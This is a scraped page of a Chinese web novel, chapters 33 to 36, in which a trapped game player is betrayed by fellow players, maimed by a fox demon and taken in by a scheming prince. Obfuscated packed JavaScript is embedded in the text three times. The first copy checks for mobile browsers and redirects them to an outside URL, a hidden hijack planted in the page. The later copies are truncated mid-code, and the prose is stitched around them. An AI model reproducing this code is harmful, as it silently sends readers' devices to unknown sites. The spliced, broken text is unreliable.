;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073087|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己会是最后一个被攻击的人。 所以比起那些被少监糊弄过来的普通玩家，林筱对于保命还是有自信的。 其他人没有林筱的本事，他们在发现黑猫之后都是如出一辙的惊慌。也就是书房门口没有摆放那些易碎的物品，不然那叮当哗啦的声音没多久就会吸引其他人的注意。 眼看着临时盟友都不中用了，少监也只能出来维持秩序：“慌什么，我们之前制定好的计划呢！” 慌乱的人群这才像找到主心骨般站好，眼巴巴地望向少监。 林筱不知道黑猫能不能听懂人话，但看到它好整以暇地坐在远处，浑圆的双眼内是最原始的属于狩猎者的残忍，她就知道，这件事恐怕没有他们想象的那么简单。 “别忘了，”少监看着庞大的黑猫，“我们有鱼。” 其他人顿时恍然大悟。 他们第一次遇到黑猫时什么都没有准备，自然不是它的对手。但现在他们有少监去找奇人异士加持过的鱼肉，还有少监发给他们的符箓，哪怕杀不了黑猫，自保总没问题。 “我给你们的东西只能说自保，”少监继续说道，“但要想彻底解决它，还是得挖它的坟，将它挫骨扬灰。” 说着十恶不赦的事情，少监的脸上却不见羞愧或是残忍：“你们在这里拖住它，我和林主事去黑猫的坟那边。” 小二眼珠一转，脱口而出：“我和您去。” 其余人也露出心动的表情。 现在这个情况，明眼人都知道和少监在一起就会更安全些。大家都是一个起跑线上的人，没有谁让着谁的理。只要少监在此刻露出动摇的表情，那他们就会争抢这个位置。 只有林筱此刻的表情是麻木的，她甚至觉得留在这里也不错。 “她身上有白狐的气息，可以震慑黑猫，你有什么用？”少监毫不留情地驳斥道，“要想活命，就做好自己份内的事情，别自寻死路。” 被斥责的小二愤恨地瞪了一眼林筱，按照先前的计划排列好队列吸引黑猫。 猫科动物，总是容易被外界的动静吸引注意力。只要及时转移它的注意力，他们也就能避免被黑猫抓到的解决。 少监拉过还想关注他们几人的林筱，用符纸破开窗户的禁制，两个人跳窗而出。 林筱还是没有忍住回头看了一眼，而这个角度也正好能够看见被黑猫藏在身后的户部尚书。 不知道是不是林筱的错觉，还是风吹动黑猫的毛发带给她的视觉错位，她总感觉户部尚书原本已经开始僵硬的身体重新出现呼吸的胸廓起伏，泛青的脸颊也逐渐出现红润的光泽。 仿佛他只是沉睡，而不是被少监一刀致命。 她突然想起来一件被她忽视已久的事情。 明明他们之前已经观察过这间书房许久，但这黑猫又是怎么出现在这里的？当初的户部尚书那么矮胖的一个人，又是怎么避开他们的视线躲在不远处的亭子里的？ 那些原本已经快被她遗忘的内容再次出现在她的脑海，枯黄脆弱的纸张上是重可透纸的字迹，一笔一划浮现在她的眼前。 有没有可能，你身边的人，不是人？ 33. 第一个世界15 黑猫的坟墓就在他们曾经躲藏的花园里。 那里既然是黑猫的死穴，一旦被挖掘必然会被它发现。想想那些普通玩家的能力也知道，他们根本拖不住黑猫多久，所以林筱他们必须速战速决。 因为已经提前预料到这种情况，林筱早就安排好小厮在附近的假山藏了几把铲子，如今正好可以用来挖土。 土丘这个东西，乍一看不显眼，但真要寻找起来却不困难。少监和林筱很快就选定好位置，然而等林筱快把土丘推平时，少监却依旧没有动作。 林筱知道少监的确有各种各样的小毛病，但这不意味着他没有大局观。在这种危机时刻，活着远比所谓的洁癖、面子要重要的多。 所以， 林筱也停下了手边的动作，逐渐向着墙角靠近。 少监原本是站在一旁等待着什么，突然发现耳边没了林筱“哼哧哼哧”的声音，再一抬头，林筱已经距离他三人远，不由嗤笑：“我真要对你做什么，这么点距离你就以为自己逃得掉？” “所以你真的要对我动手吗？”林筱就着他的话反问。 少监沉默了一会，没有反驳。 这让林筱更加紧张。如果他选择反驳，那就证明他还不能保证可以拿下她。但如今少监选择了默认，那就是他觉得时机已经成熟，她已然成为他们的瓮中之鳖。 林筱心中有个猜想，但这个猜想不会给她带来侥幸，反而是更沉重的打击。 果然，还没等她靠近墙角，不远处的身后已经出现一个挺拔俊逸的身姿，恰当好处地挡住她的退路。 林筱在心中长叹一声，看着他：“探花。” 身影靠近，他的面容逐渐在夜色中清晰。探花手中持着折扇，笑容和煦，亲昵道：“又见面了，林筱。” 身前身后，少监探花。 林筱知道，自己这一时半会是逃不出去了。她又看了眼不再爱出风头的少监，顿了一下：“他们都死了？” 少监知道她指的是其他玩家，也没再含糊：“没有也快了。” 也是，今天晚上的行动就是他们设计的一场局，也是最后的收场节目。没有完全的把握，他们也不会露出真面目。 “你也不用觉得遗憾，”探花郎看着林筱，那种高高在上的俯视感不再遮掩，“从这个游戏开局，你们已经入了套。反正你还是新人，死一次也还有机会下一场游戏。” “你们一直认识。”林筱像是才抓住重点般重复，“之前你们都是在演戏骗大家？” “对，”探花嘴角的笑意更深，“一个红脸，一个白脸，这不就把你们全骗到这里喂了猫。” 难怪，她当时就觉得探花出现在那里有些奇怪。他的出现不仅不能阻止玩家赞同那个方案，反而让大家警惕他，促成今晚的计划。 这种损人利己的行为，不像是他应有的水准。一切的不符合常态，只是因为背后还暗藏着更大的阴谋。 “你们这么做有什么好处吗？”林筱强撑着冷静质问，“留着我们，还有人可以给你们试错。” “我们的目的，”探花好笑地看着她，“这不是很明显吗，我们要投靠贵妃啊。 “这句话，我可从来都没有说谎。投靠这个世界的最终摧毁者，从来都是一种省时省力的方法。 “玩家可能会撒谎，但被摧毁者包庇，那就是必然存活的结局。” 他用扇面轻佻地抬起林筱的脸，惋惜地摇了摇头：“我邀请了你好几次，可惜你回回都不识趣。但如果你现在求饶，我也不是不能让你加入我们叛世者。” “我们，也是系统认证的正经职业，一旦选定，就不会更改的铁饭碗哦。” 铁饭碗？林筱哼了一声，牢饭吧。 “就算这样，你们也不应该……”林筱依旧和探花他们争执，直到偌大的白狐一屁股坐在她的面前，点滴鲜血浇灌在她的头顶，糊在她的眼睫，顺着面部的轮廓蜿蜒而下，滋润了脚底的花草。 林筱眨了眨眼，眼前一片猩红，她像是没有察觉般抬起头，看着血流的源头。 那是一个其貌不扬的年轻人，仍在人群中一眼也分辨不出来，甚至直到此刻，林筱也不知道他的名字。 她只知道，那是一个从她在这个世界醒来就一直陪伴着她的人，心直口快，一心只想劝她回家的人。 “你是在等他吗？”白狐咧开嘴，鲜红的舌尖舔了舔上唇，贵妃妩媚的声音悠然响起，“真是抱歉呢，我看他似乎想惊醒全城的人，我就把他打晕了。 “这点小事，打扰大家就不太好了吧。” 林筱依旧看着他。 小厮的确是她安排的，她的计划就是白狐说的那样，闹出大动静，吸引到更多人的注意，这样妖和少监他们为了隐藏自身也会大事化小，小事化无。 但是她没意料到白狐会出现，还第一时间抓到了她的小厮。 就像她也没意识到，妖和人的分界线其实没有她想象的那么模糊。人，只是披着皮的妖而已。 被挂在白狐爪尖的小厮还没有摸清楚如今的状况，他认出了林筱的上司，看见了新科探花，血液的流失让他眼前一片模糊，只能靠着衣服的颜色认人。 直到此刻，他也只以为这是上官看不惯自家小姐得势的报复，一辈子看的书也只有各种话本的小厮面对这些大人物，唯一能嘱咐自家小姐的也只有：“小姐，江南的花如今开得正是时候，老爷夫人还在等着您呢。” “这皇城容不下小姐，但江南永远是小姐的家。” 还以为能听到怨怼话语的白狐面上露出一抹乏味的神情，贯穿他胸肺的指尖利落拔出，血液喷射在它的毛发，失去支撑的人体从高空坠落，化作地面上软烂的肉泥。 林筱伸出手，却什么都抓不住。 这是她进入这个游戏以后，第一次直面亲近人的死亡。 她的脸上露出茫然，沾染了斑驳血迹的小脸仰视着白狐：“他和你无冤无仇，为什么杀他？” 他不是玩家，只是这个世界上再寻常不过的普通人，直到死亡，心心念念的也只有让自己的小姐回家。 可是林筱不是他的小姐啊，她只是一个临时出现的冒牌货。甚至因为她，他的小姐可能永远无法回家了。 她不值得小厮这样，她甚至从来都没想到过询问他的名字。 他应该咒骂她，怨恨她，视她这个给他带来危机的人为死敌。 明明，这才是人之常情。 “一个下人，杀了就杀了。”白狐无所谓地开口，过了一会，它眯起狭长的双眼，低下头看着相对它而言渺小的林筱，“你难过了？” “我没有。”林筱否认，她只是，不理解。 “为了一个下人难过，林筱，你真是个同情心泛滥的大好人啊。”白狐朗声大笑，看着她的眼神说不出的轻蔑，“不过能让你难过，也算是他这辈子做出的最大贡献。” 一条命，在它的口中，却是再轻飘不过的东西。 她转头看向已经站在一起的少监和探花，高大的树影覆在他们的身上，犹如被阴影吞噬：“你们选择了贵妃。” “你不是早就知道的吗？”少监不耐烦地开口，“早点死，我们大家都轻松。” 大家都轻松？是只有你们轻松吧。 林筱没打算认命，她想继续活下去，活着看到属于少监他们的报应。 “你很期待我死？”她看向最容易被挑拨的少监。 少监不介意在她最后的时刻赏赐她几句话：“但最期待的人不是我。” “是我，”白狐接过话茬，坐在地上的姿态优雅，甚至微微翘起尾巴，免得地上的尘土弄脏她那梳理得整整齐齐的毛发，“本来我也不是不能放过你，但谁让你想不开□□陛下？陛下只属于我一个人，既然你有胆子行动，就要为自己的行为付出代价。” 她，□□皇帝？ 林筱匪夷所思地看着贵妃，却在那张本该看不出表情的狐脸上看到了肯定。她是有多想不开才会勾引一个只能相处两个月的男人？ 甚至就因为这件根本不存在的事情，她就以此为理由杀了她的人？ 林筱的余光瞥见少监和探花两人也同样无语的表情，更加肯定了一件事。 妖既然隐匿于人之后，就代表它们出现在这个世界上也受到了限制。 她之前看到的贵妃妩媚动人，说不上精于城府，至少不是这种冲动的性格。 就像被他们轻易刺伤的户部尚书，当妖藏匿于人后时，它们是理智而脆弱的。但妖脱下人的壳子后，它们是充满兽性却强大的。 所以贵妃需要合作伙伴，一个可以拉回她理智的人。 但看着在一旁看戏的探花两人，林筱也不想任他们继续悠闲下去：“所以你就当了他们的打手？” “贵妃娘娘怎么会是我们的打手？”探花不可能会掉落林筱这个浅显的语言陷阱，他笑着看向还在挣扎的林筱，叹了口气，“今天只是贵妃怜惜我们，来帮我们的忙而已。” “你也别挣扎了，”少监在一旁补充，“我们现在不动手，不是我们不想动，而是我们不能动。” 玩家，不允许攻击玩家。 这个本该是约束玩家内斗的规则如今却成为一些人玩弄其他玩家的把戏。 既然玩家不能攻击玩家，那就让游戏世界内的NPC攻击。这样既能解决想要解决的对象，还能讨NPC的欢心。 一举两得。 “我们也不全是在等你死。”探花看着毫发无伤的黑猫踏着优雅的步伐走来，毛发根根分明，甚至没有被血渍沾染的痕迹，“也是等着确定一件事。” “他的遗产，果然是指定你继承了。” 遗产这个词她懂。 这个世界只有他们几个玩家，看黑猫这幅游刃有余的样子也就知道，留在那里的人没有一个能伤害它的。 从另一个角度考虑，没能造成伤害就代表他们就是一群没有积分的穷光蛋，自然不会是继承了老者遗产的人。所以那个在他们之前拿到遗产的人就只能是她。 但指定继承又是什么意思？ 探花他们两个人都不会在此时和她好心解释这句话，倒是系统突然在她的面前出现刷存在感： [遗产指定：在游戏世界死亡，玩家可以指定一人继承你的遗产。在死亡后12小时内，这份遗产只能被继承人接触，12小时后所有人都可接收该玩家遗产。 玩家遗体会在死亡24小时后或被大部分玩家发现后消失。如在消失前遗产未被发现，原有积分可保留至下一世界。] [现观察到玩家极有可能死亡，请问玩家是否需要指定遗产继承人？] 在这个世界的玩家基本都被他们弄死了，还有什么人可以供林筱指定的？而且，如果她没感觉错误的话，系统这是专门来看她热闹的吧。 看来，她还真是不讨系统喜欢。这么一个大忙人，还要不辞辛苦特意关注她的动态。 她现在甚至怀疑，这个世界也是系统故意给她选择的，就是为了消耗她的游戏次数。 多重因素的作用下， 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林筱能感觉到，白狐现在只想撕碎她，不顾后果。 探花还想劝阻，但他也只是一个背叛亲朋、临时投靠的小人。白狐的尾巴将他一把扫飞，尖利的獠牙滴落着腥臭的涎液，挂在林筱的脸上。 一只硕大的狐头占据了林筱所有的视野，她甚至能看见那猩红的舌与连接肺胃的管道。 明明可以一口咬断她的头，但白狐却选择用带着倒刺的舌头刮过她的脸颊，留下血迹斑斑的伤痕。 “你们就是胆小，”白狐咯咯直笑，身上的白毛抖动，如刷子般一遍又一遍刺激林筱的伤口。 林筱能感觉她的脸火辣辣地痛，异物的刺激让伤口变本加厉地红肿疼痛。 她很清楚，她毁容了。 但那又如何，一张脸从来都不是可以影响她的因素。它可以锦上添花，却不是她的不可或缺。 她抬起头，看着眼前的兽脸，依旧笑着：“真丑陋。” 放弃了人类的形态，放弃了小巧可爱的兽形，如今这个样子的白狐只会让人觉得恐惧，而不是心生欢喜。 这句话对于其他人而言就是一句无关轻重的废话，却正中贵妃内心的恐惧。 它几乎就是怒不可遏般席卷起一旁的树木，劈头盖脸地向着林筱砸了过去。 沉重的树干倒在她的身上，五脏六腑都被重力粗暴地挤压，林筱吐出一口鲜血，却依旧觉得呼吸不畅。 不过没关系，她的目的已经达成了。 她看着依旧处于暴怒的白狐，丝毫没有察觉到身上多出什么，又瞥了一眼毫无知觉地等待在一旁的探花郎二人，露出一个浅短的笑容。 嘴角的牵扯撕拉到脸上的皮肤，她感觉到一阵阵的刺痛，但没关系，很快就有人比她还痛了。 现形符，就是少监送给她的那一张，如今又用到了他们自己身上。 一个被兽性占据了理智的妖，在本就被激怒的情况下又被用符纸激怒，它的理智还能存在吗？ 或许别人可以，但眼前的贵妃，肯定不行。 果然，气上心头的贵妃已经开始不管不顾地摧毁这里的一切，残砖碎瓦砸向了探花郎和少监，让他们一个个都破了相。 血液的刺激更是让在场的两个妖狂性大发，只有林筱还能撑住笑容。 少监能求助司天监的奇人异士，她又为什么不能？只不过她原本只是想让白狐在皇帝面前出丑失宠，没想到却被她用到了眼前的这个场景。 但也更合适。 催发妖物凶性的香味在空中飘散，融于花香，无声潜入。 这些庞然大物带来的攻击力不是小猫小狗的打闹，尤其是在白狐还有符纸加持的情况下，更是骇人的威力。 它已经忘记还有一个奄奄一息的林筱需要它彻底解决，它只想撕碎眼前的一切来平息它突如其来的怒火。 所以在场两个活蹦乱跳的异类，就是它最显眼的靶子。 它当然记得他们投靠了它。但那又如何，玩具和奴仆而已，死了，也会有新的。 被突然袭击的探花二人也只是在第一下时没有反应过来，当白狐还想继续攻击时，他们也没有乖乖等着被它打，纷纷使出手段阻拦它。 他们的战斗当然也波及到了黑猫。 黑猫吃痛地“喵嗷”一声，纵身一跃跳入战场，灵活度远超因为愤怒而迟钝的白狐。 一比一比二，探花他们虽然是二，却完全占不到优势。 他们以肉眼可见的速度落败，身上多了深可见骨的伤口。 但哪怕他们的主战场不在林筱这边，只是被波及的伤害也让林筱此刻的身体雪上加霜。她从来不知道，原来人也可以吐出那么多血。 这一次，她是真的阴沟翻船，又要死一回了。 亭子只剩下废墟，一根梁柱被白狐甩了过来，擦着边落到林筱的身旁。她再次吐出一口血，直感觉身体被掏空，眼前都已经出现幻觉。 冷，从骨子里透出难以抵挡的凉气，冻得她浑身僵硬。 恍惚间，她似乎看见一个与白狐截然不同的白色身影。它轻轻用鼻子嗅闻她的气息，低低地呜咽，用爪子拨弄着它。 林筱能感觉到，它没有恶意。 半晌，这只生物似乎明白这样是没有办法救下林筱的。它衔起一旁的木头砖瓦搭成一个简易的小屋，哀哀地低声叫唤，一步三回头地离开。 而林筱，也终于陷入了昏迷。 34. 第一个世界16 竹床青帐，微风徐来，沁鼻的花香飘逸在青葱的竹屋内，徒惹蜂蝶。 当林筱再次醒来时，她已经躺在这个屋内。 身上的伤口都已经被处理过，但从骨子里泛出的疼痛依旧让她难以行走站立，只能透过窗缝看见屋外青葱的竹影，辨认出自己已经不在京城。 来往的仆役嘴都严得很，林筱问不出有用的信息，只能确定自己还活着，没有被系统扔进新的世界。 只不过她依旧不知道自己身在何方，又是被何人所救。 这样的日子，她过了五六日。 虽然这屋的主人什么信息都没给她透露，但待遇方面却从不打折。 除了一日三餐，每到申时，就会有一个浑身浸满药味的侍从一言不发地端着一碗乌黑的药汁和红色的药膏进来。 药汁是喝的，药膏是涂的。 药连喝了几天，她也渐渐觉得身体有了力气，那种从骨子里翻涌的酸胀感也逐渐消退，只剩下细密的噬骨般的隐隐作痛。 林筱也没觉得是对方救治不佳。 别说在古代，就算是现代，在那种伤势下她还能全手全脚地行走都不是一件容易的事情。她能恢复成这样，放哪都是一个医疗奇迹。 唯一遗憾的是，她的脸恢复不了了。 在她醒来后的第三天，确定了她不会因此寻死觅活后，她的屋子内才开始摆放上铜镜。 精心磨制的铜镜照得人一清二楚，自然也能让她看见自己脸上的伤痕在瘢痕增生后如同几条丑陋的肉色蜈蚣在上面翻江倒海，遮掩了全部的容色。 就连她自己都快要认不出自己来，更别提其他人。 由于古代的无菌条件没有那么好，时不时她就会感觉到脸上的伤口酥麻，像是虫蚁噬咬般难受。 她只能时时刻刻记得在脸上冷敷，好缓解这难熬的瘙痒。 但幸好那红色膏药效果不错，虽然没法祛除她脸上的疤痕，却也让她没那么难受。等到之前的深红褪去，留下的就是如今这几个隆起的肉色长条。 不过她在这里也见不到人，所以也就没遮着掩着，大大方方展示自己的残缺。 但今日不同以往。 当看到桌上明显不是一个人份量的点心时，她就清楚，这位久久不见人影的竹屋主人终于要出现了。 大概在她喝完药、涂完脸之后，竹门再次被打开，步入一个熟悉而陌生的身影。 熟悉在于这个身影的主人她认识，陌生在于他此刻的步履竟是她之前从未见过的轻快。 那人依旧一袭浅色的衣裳，端的是翩翩公子弱不禁风的模样，步伐不紧不慢，看得出是精心教养的结果，但手中的纯黑面具却阴森诡谲，与他带给人的印象格格不入。 他就在林筱的对面落座。面具被他摆放在桌面上，双眼留下的空洞直对林筱，仿佛带着勾魂摄魄的鬼魅威力。 他自然是察觉到林筱的目光，右手将面具推到她的面前：“这本来也是为你准备的。” 林筱没有立马接过，视线顺着那只手上移到他的脸，低声道：“世子殿下。” 他应了一声，还是将面具推到她的身前：“我知道你不在意，但如果在外行走，有个面具傍身也没那么吸引他人注意。” 林筱看着这个漆黑的面具，嘴角牵动脸上的疤痕，呈现出一个狰狞得无法用言语描述的表情。 她闭了闭眼，再次睁开时已经恢复了平静，抬手接下这个更加显眼的面具：“多谢世子殿下赏赐。” 面具是金属制成的，哪怕锤炼得再薄也依旧颇有分量，拿在手中都觉得沉重。如今的她戴上这个面具，只觉得头重脚轻，就连头脑都开始昏昏沉沉。 曾经她还觉得陈家小姐是病秧子，现在她自己也不遑多让。 甚至更弱。 金属挥之不去的铁锈味犹如鲜血浸满她的口鼻，虽然她不怕，可身体的本能却让她呼吸喘促，眼前也开始变得模糊。 直到一口温热的水被灌入口中，划入胃肠，这才逐渐缓了过来。 “让世子见笑了。”林筱避开眼前端着茶杯的手，扭头咳了一声。 “你身子还没好全，仍需静养才是。”晋王世子将茶杯放在桌上，也没有被拒绝的尴尬，“是我来的时机不对。” 天气已经回暖，却仍有凉风吹拂。健康时不觉，如今却是如细刀刮骨，绵密的疼痛。她现在总算有了病人的自觉，拢了拢衣襟，面具遮掩了她的表情，只能透过一如往初的声音猜测出几分情绪：“可是世子带我回来的？” “是白狼。”晋王世子也不居功，“我每晚会带白狼放风，是它发现了你，把我引来。” 看来她意识模糊之际看到的那个白色身影就是白狼了。 人无情，但畜牲反而留情。 她垂下眼，看着眼前还在冒着热气的茶水，低声问了起来：“那一晚，世子可还见着他人？” 其实，她更想问那一晚那些人最终还活着没有，但她不清楚这位晋王世子知道多少，所以她不敢问，只能这样旁敲侧击。 “我去时，那里只有你一人。”世子像是看透了她的小心思，虽未言明，但还是如她所愿提及了旁的，“我是在内城墙角下看到的你。那时你被围在砖瓦之中，身受重伤，看着就像不久于人世般。所以我也没多查看，救了你回来。” “但巧的是，那晚户部尚书府也受歹人袭击，大半府邸被毁于一旦，偏偏还没惊醒邻人。” “那确实奇怪。”林筱知道这是因为妖物作祟，但还是顺着世子的话说道。 “所以这民间就流传有妖星降世，祸乱天下。”世子眼尾含笑，看着她轻声道，“你说这巧不巧，这消息还没传出，这司天监的少监就告了假。没多久，颇受陛下赏识的探花也被人伤了腿无法行走。 “就像是有人专门针对陛下般，先关了他的耳目，再伤了他亲近之人以示恐吓。” “陛下受命于天，又岂会怕这妖邪作祟。”林筱低着头，说着场面话，但言语依旧透露着惋惜。 就是不知道惋惜陛下被人污蔑，还是惋惜有些人没死。 “也是。”世子欣然接受林筱的这番说辞，“但毕竟人言可畏，所以陛下决定提前到天之巅祭祀。所以近段时日，外面都忙得很。” “倒是可惜了探花郎，”她抚摸着眼前的茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“可世人皆知，新科进士司天监主事林筱于户部尚书府出事当晚死于贼人之手。”他眉眼间一派从容，“陛下甚至赏了金银到林府，以慰亲族。再过几日，这旨意说不定都到江南了。” “可我没死。”林筱重复。 “可谁又能证明你就是林筱呢？”他如同被割裂的人一般，面上是君子端方，嘴里吐出的却是阴谋算计，“谁能证明，林筱没死呢？” 林筱摸了摸自己的面具，突然就明白了晋王世子的阳谋。 他知道那一晚发生的事情，所以也知道她的敌人是谁。如今探花他们蛰伏，恐怕就是因为发现了世子为她准备的尸体。 但也因此，他知道如今在这个京城，没人可以证明她的身份。 林府的夫妇总归是远亲，看了她如今这个模样也不敢轻易相认。她整日混于少监身后，与其他同僚关系不佳，也没人冒着得罪少监的风险为她作证。 她现在唯一可以依靠的人就是晋王世子。 为了让她听话，如今，他还拿她远在江南的父母为要挟。 可惜他不知道，她对那身处江南的父母可没有亲情。 因为她只是一个半途而来的人，来时空荡，如今也空荡。 这个世界，没有人可以证明她是她自己。 所以，她选择服从：“不知世子想如何处置我这……一无所有之人？” “留下来，陪我。” 35. 第一个世界17 竹屋内一片寂静，半晌，林筱突然笑了出声：“世子殿下不缺我这么一个面容俱毁的人吧。” 锦衣玉食的世子殿下抬头看向眼前这个被面具遮住容颜的女子，摇了摇头：“像林主事这样的人，自然永远都是缺的。” 不等林筱再次想出拒绝的托辞，他率先截住了林筱的话：“不过林主事请放心，我不是那种浪费人才在后宅的人。我想请林主事，来当神启教的主事人而已。” 这一句话打翻了林筱心里涌现的所有念头，她只是微微一顿：“神启教？” 她对这个词的所有印象都来自于琼林宴时。她只知道，这是一个为世所不容的邪、教，拿着为百姓谋利的名号干着谋逆的事情。 晋王世子会参与其中，这确实让林筱意料不到。 不过这个世界让她意料不到的事情太多，这只是其中一件，已经无法牵动她的情绪。如今她也是寄人篱下，没理由也没资格拒绝。 不等晋王世子解释，她就先点了头：“好。” 这回就轮到晋王世子第一次露出超出预料的神情，他看着林筱，欲言又止：“这其实，也不是坏事。” “我懂。”林筱冷静地点头。 她藏在面具之后，别人不清楚她是不是冷静，但林筱确定自己很冷静。 其实从晋王世子的表现中也可以看出，这个神启教也没那么简单。它看似是乌合之众因为谣言而汇聚，但背后之人不是晋王就是当今皇帝。 也只有这两个人，才能使唤得动这位晋王世子。 看神启教行事，矛头直指皇帝，所以这幕后之人是晋王的可能性更大。 晋王与皇帝同出一母，都是当今太后的子嗣，所以晋王也颇受皇帝重视。只不过这晋王似乎不甘心这个辅助的位置，想要取而代之，这才闹出这些事端。 听着林筱这话，世子的嘴开合几次，最终还是默认了林筱的话：“既然你懂了，也清楚情况了，那就脱不了身了。一会会有人给你送来神启教的资料，你也不需全部记忆，只要清楚大致的情况就行，那边有人辅助你行动。” “是。”知道秘密的，不是死人就是自己人，林筱也只能选择成为他们的自己人，为他们做事。 至少明面上是。 “你还有什么要求都可以和我提。”世子深知打一棍给一颗枣的道理，既然把人带进来了，就要给点好处，“只要我能做到的，都会帮你完成。” 林筱自然是察觉到世子盯着她脸的目光，也明白他的意思是可以帮她解决探花郎和少监两个人。 但是，她有别的想法：“我想到司天监藏书阁三楼看看。” 世子显然也对这个意料之外的回答措手不及，一直把握全局的泰然此刻也转为好奇。他看着林筱许久，眉眼间染上不易察觉的兴味：“后日。” 他给出了一个准确的答复。 林筱也悄悄松了一口气。她知道自己这么做反而会引起对方的兴趣，但她也的确有很多疑惑需要等待解开。 比起一个游戏世界的人物，自然是活着离开游戏更重要。她笃定，她的疑惑可以在藏书阁三楼解开。 而探花和少监，不过是走错了道路的失败者，已经不值得她再关注。 第三日，林筱如约被带到了司天监内。 只不过，这个进入的方式出乎她的预料。 她原以为晋王世子会给她换个身份糊弄着司天监内的官员，没想到她跟着世子派给她的人，在弯弯曲曲的巷道转了几个弯，竟然出现在司天监藏书阁的背面。 那里，有她之前都没有发现的后门。 这扇后门是靠着机关启动，也不知道那个人在什么地方折腾了几下，看似柱子的建筑出现一个幽深的洞口，洞内两旁的灯火也随之复明。 她顺着楼梯而上，中间也没有可以停留的平台。当再次打开门时，她已经站在三楼的地面之上。 三楼的空间比二楼小很多。 和二楼一样，三楼的空间之内也都是老旧书籍的陈腐味道。虽然书架干净，时时有人整理，但依旧掩盖不了那种被岁月遗忘的气息。 林筱压低脚步声，循着书架上的标注寻找。她不是毫无目的的查找，在来到这里之前，她的心中已经有了成算。 她想找的，就是开国那段时间发生的事。而那段被隐藏的历史，只可能出现在这里。 果然，没走多少路，她就在一处被故意藏起来的书架处找到了她想要的书籍。翻开书后，书内的笔迹却异常熟悉。 是二楼那本笔记的主人所写。 林筱想，她找对地方了。 和二楼那本遮遮掩掩的书不同，这本书开局就突出了重点：天之巅。 天之巅，这个国家海拔最高的山峰，也是历代天子受封的地方。 每朝每代，自得于功绩的皇帝都会在那里举行封禅大典，就算是当朝皇帝也不能幸免。除了举行重要仪式的时期，平素历代皇帝也会在山腰邀请朝中大臣参与狩猎。 之前晋王世子提到的祭祀就是其中之一。 但这些都不是重点，被这位著书者特意标注的点在于：天之巅有一座祭坛，是当朝开国皇帝封印乱世之妖的地方。 乱世起于妖邪，终于妖邪。 为了彰显帝王伟业，开国皇帝举办了隆重的封妖仪式，天降吉兆，举世见证。往后几个皇帝也无一不仿先人英姿，以封妖来证明天子之名。 但时光流逝，世事易迁。封妖不是杀妖，曾经的信念到如今已经不知道变成什么样了，封印之下是否藏着妖邪也成为了未知数。 林筱也终于明白，自己到底漏下了什么。 明明在进入游戏之初，她还能意识到这个世界最重要的角色就是皇帝，但为什么在之后的一系列事情中，他们总是不知不觉地将皇帝的存在隐没。 明明，一切的事情都有他存在的痕迹。 他的贵妃成为妖邪，他的弟弟谋他的位。 如果假定如今的皇帝才是真正的幕后推手，那么一切都合理了起来。 的确，贵妃和白狐很强大。他们似乎符合成为一个幕后推手的指标，权势与武力。 但还有一个指标却是林皋具备而贵妃不具备的： 其他同族的臣服。 在第一个世界，二维世界中的人物都是完全服从林皋指挥的。选择背叛林皋的只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这位晋王世子，如果她没预料错的话，真正站的应当是皇帝那一派。也只有这样，他才会看上去那么游刃有余。 林筱合上了书。 书很薄，寥寥几句就可以概括全部的内容。林筱依旧将它藏了起来，避免更多的人发现。安全起见，林筱随便找了一个书架看起书来。 即使没有人注意，林筱还是借着书籍的掩饰走起神来。 她现在的身份就是一个死人，就算活到游戏结束，她的日常表现分也不可能及格。所以这场游戏的常规任务她已经没有了完成的希望。 不想浪费这次死里逃生的机遇，她唯一的办法就是完成隐藏任务。 关于隐藏任务，她已经有了大致的思路。 既然确定了主要人物是皇帝，重要场景是祭祀，那就破坏这一场祭祀就行。皇帝作为这个国家的核心难以伤害，但祭祀这种盛大的场合总归能找到漏洞。 从危险性而言，这次的游戏难度不一定比新手游戏高，只不过是干扰项误导了大家的思路。 所以此刻对于林筱而言，真正的麻烦在于转职，找到那个真正的隐藏职业并入职。 她不由地拿出笔记录下之前发生的事情，试图从中找出答案。 [玩家触发隐藏职业——记录者。 玩家触发隐藏任务：阻止天之巅祭祀完成。完成隐藏任务后，游戏将提前结束并给予玩家最高评分。] 系统提示，骤然在空阔的三楼响起。 36. 第一个世界18 一炷香后，那道藏匿于柱子之间的门悄然划开，世子派给她的人出现在她的身后，冷不丁地开口：“您该回去了。” 这位侍从其貌不扬，但走路却不见声响，林筱之前的那副装模作样也是为了应付他的突然出现。 此刻听到他的声音，林筱从容不迫地将书放回原位。只不过本打算离开的脚步却被这突然其来的酸软打断，只能扶在书架上才能保住平衡。 林筱知道自己的身体因那一晚的伤害不再康健，但原本以为多日的修养已经可以恢复大半，却不成想只是自己的想象而已。 她苦笑着看着世子派来的仆役：“不是我不想走，而是不能走了。” 那名仆役面无表情地看着她，突然取出一条之前不知道藏在何方的绳索，将林筱细致地捆绑，提了起来。 是的，当成一件物品一样被提了起来。 就那么猝不及防间，林筱就被提溜着带出门，藏进马车里，返回了位于京郊的世子别院。 等她回去时，已经两日没见的世子殿下已经在里面等待着她。 这一点，林筱也早有预感。 既然世子同意了她前往藏书阁三楼，那就代表他默许她知道一些本不该她知道的事情。那在她了解一切之后，他们就会有一次注定会发生的对话。 一场试探与坦诚的交谈。 就算在林筱面前已经暴露出他的真面目，晋王世子也依旧端着他那谦谦君子的病弱模样，温着一壶茶等着她。 看到她走了进来，世子为了她了一杯水，神色淡然：“今日可还过得愉快？” 林筱接过茶，看着澄黄的茶汤，点头：“此间乐。” 世子忍不住低笑。 林筱，总能带给他预料之外的答复。但若不是如此，他也不会如此关注她，甚至费劲心力救治她。 